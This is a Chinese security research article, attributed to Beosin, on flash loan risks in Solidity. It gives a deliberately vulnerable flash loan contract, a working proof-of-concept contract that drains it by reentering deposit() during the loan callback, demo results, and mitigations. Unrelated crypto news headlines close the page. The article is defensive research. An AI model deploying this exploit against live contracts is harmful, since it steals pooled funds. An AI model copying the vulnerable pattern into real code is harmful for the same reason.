Solidity语言闪电贷安全风险研究
来源:Beosin
虽然各种闪电贷项目的实现思路都大同小异,但是小小的不同也可能会导致严重的安全隐患。接下来的几篇文章,我们将陆续介绍Solidity、Move以及Rust语言闪电贷实现需要注意的问题以及解决办法。
今天我们先来介绍Solidity语言闪电贷需要注意的问题。
Solidity闪电贷设计中,大部分项目会通过检查自身余额来判断调用者是否归还资金。单独看该方式是没有问题的,因为无论调用者借钱后会进行什么操作,最终都能保证合约自身资金安全。但大多闪电贷项目都不会只提供一个闪电贷功能,合约中还会存在其他业务函数,如果其他函数中有对合约余额产生影响的业务,便可能存在严重的安全隐患。
注: 以下代码仅做为闪电贷安全问题研究代码,不排除存在其他安全问题
下列代码是一个简单的闪电贷示例合约,主要由两个部分组成:
第一个部分是闪电贷的功能, 首先记录一个借出前合约所拥有的ETH数量,在借出ETH的同时,会调用调用者指定合约的指定函数,最后判断本合约拥有的ETH数量是否大于等于借出之前的ETH数量加上1/100的手续费。
第二个部分便是提供闪电贷流动性的质押功能, 用户可以将ETH质押到闪电贷合约,通过闪电贷收取的手续费来赚取收益。
但是该合约中存在一个非常常见的重入漏洞,可以使得调用者在抵押的同时绕过闪电贷最终检查。
pragma solidity ^0.8.0;
contract loan {
string public name="lp_Loan";
string public symbol="LL";
uint256 public totalSupply;
mapping(address => uint256) public _balance;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
function balanceOf(address owner) public view returns (uint256) {
return _balance[owner];
}
function _mint(uint256 amount) internal {
_balance[msg.sender] = _balance[msg.sender] + amount;
totalSupply+=amount;
emit Transfer(address(0), msg.sender, amount);
}
function _burn(uint256 amount) internal {
_balance[msg.sender] = _balance[msg.sender] - amount;
totalSupply = totalSupply - amount;
emit Transfer(msg.sender, address(0), amount);
}
//抵押ETH,获得凭证币
function deposit() public payable returns(uint256){
uint256 value=address(this).balance - msg.value;
uint256 mint_amount;
if(totalSupply==0){
mint_amount=msg.value;
}
else{
mint_amount=msg.value*totalSupply/value;
}
_mint(mint_amount);
return mint_amount;
}
//提取ETH,销毁凭证币
function withdrew(uint256 amount) public returns(uint256){
uint256 value=address(this).balance;
uint256 send_amount;
send_amount = amount * value / totalSupply;
_burn(amount);
payable(msg.sender).call{value:send_amount}("");
return send_amount;
}
//闪电贷
function flash_loan(uint256 amountOut, address to, bytes calldata data) external {
uint256 value=address(this).balance;
require(amountOut <= value);
//发送借款并调用目标合约
payable(to).call{value:amountOut}(data);
value=value/100+value;
//还款检查,收取1%手续费(真实项目可能不会这么高)
require(address(this).balance>=value);
}
receive() external payable { }
}
接下来我们使用以下PoC代码针对上述闪电贷项目进行攻击测试, 主要思路是利用闪电贷的回调函数进行重入攻击,可将正常的业务行为覆盖为还款行为,最终掏空闪电贷合约的ETH。
首先调用PoC合约的start()函数,函数将发起闪电贷。借贷金额为闪电贷合约的ETH余额减一,该步骤是为了后续deposit()的时候不会导致计算错误,传入back()函数做为回调参数。
然后在back()函数中,将借贷的ETH再加些许手续费抵押进闪电贷合约,会给PoC合约铸造凭证代币。back()函数结束时,闪电贷合约会检查还款情况,由于抵押时更新了ETH余额,所以检查将通过。最后PoC合约再利用凭证币将ETH提取出来。
pragma solidity ^0.8.0;
interface loan {
function flash_loan(uint256 amountOut, address to, bytes calldata data) external;
function withdrew(uint256 amount) external returns(uint256);
function deposit() external payable returns(uint256);
}
contract poc {
address public owner;
address _loan;
loan i_loan;
uint256 mint_amount;
constructor(address loan_){
owner=msg.sender;
_loan=loan_;
i_loan=loan(loan_);
}
function start() public {
uint256 value_first = address(this).balance;
//发起闪电贷
i_loan.flash_loan(_loan.balance-1,address(this),abi.encodePacked(bytes4(keccak256("back()"))));
//提取ETH
i_loan.withdrew(mint_amount);
//判断是否产生收益
require(address(this).balance > value_first);
}
function back() public payable {
//闪电贷回调,质押ETH(此处并非一定质押102%的ETH,但必须超过101%)
mint_amount = i_loan.deposit{value:(msg.value*102/100)}();
}
receive() external payable { }
function getEth() external {
payable(owner).transfer(address(this).balance);
}
}
本地环境演示:
首先部署闪电贷合约,并通过某地址向其中抵押50枚ETH,模拟项目开始使用。
部署PoC合约,并传入loan合约地址,向其中转入些许手续费,为之后过闪电贷手续费检查做准备。
调用PoC合约的start()函数,可以发现,loan的ETH已经被转移到了PoC合约。
loan合约仅剩1 wei的余额。
PoC合约拥有52ETH,收益了50ETH。
安全建议:
对于使用余额来进行判断的闪电贷项目,并且合约中还存在其他和余额操作有关的业务函数, 那么需要在闪电贷函数和其他业务函数之间添加重入锁,防止在闪电贷过程中再次进入合约,从而影响最终检查。
或者使用单独的账本记录其他业务的相关信息,闪电贷函数在做检查的时候,要将单独账本进行共同检查。 例如上述代码,deposit函数中增加一个账本用于记录抵押量,在flash_loan函数中,需要减去该抵押量账本数据,再进行闪电贷前后判断。
使用其他方式进行还款验证,例如ERC20代币的闪电贷,使用SafeTansferfrom函数进行转账,实行“强制”还款方案。
Bitcoin Price Consolidates Below Resistance, Are Dips Still Supported?
Bitcoin Price Consolidates Below Resistance, Are Dips Still Supported?
XRP, Solana, Cardano, Shiba Inu Making Up for Lost Time as Big Whale Transaction Spikes Pop Up
XRP, Solana, Cardano, Shiba Inu Making Up for Lost Time as Big Whale Transaction Spikes Pop Up
Justin Sun suspected to have purchased $160m in Ethereum
Justin Sun suspected to have purchased $160m in Ethereum